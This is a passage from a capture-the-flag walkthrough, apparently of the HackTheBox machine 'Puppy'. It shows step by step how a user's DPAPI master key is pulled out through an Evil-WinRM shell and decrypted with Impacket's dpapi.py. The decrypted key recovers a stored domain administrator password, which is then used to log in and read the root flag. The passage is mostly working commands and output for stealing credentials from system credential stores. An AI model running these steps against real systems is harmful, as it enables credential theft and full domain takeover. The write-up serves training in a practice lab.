*Evil-WinRM* PS C:\> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\appdata\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))
AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=

For each of these three, I’ll paste the base64, decode it, and save it as a file on my host.

Now I can decrypt the master key using dpapi (installed with uv tool install impacket, see here for Python tool installations):

oxdf@hacky$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

I’ll use that key to decrypt the credential:

oxdf@hacky$ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description : 
Unknown     : 
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

WinRM

I’ll get a shell with Evil-WinRM:

oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents>

This user is in the Administrators group:

*Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ===============================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                     Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

This is also clear in Bloodhound:

image-20250521140026871

The root flag is on the Administrator user’s desktop:

*Evil-WinRM* PS C:\Users\administrator\desktop> cat root.txt
c3bee243************************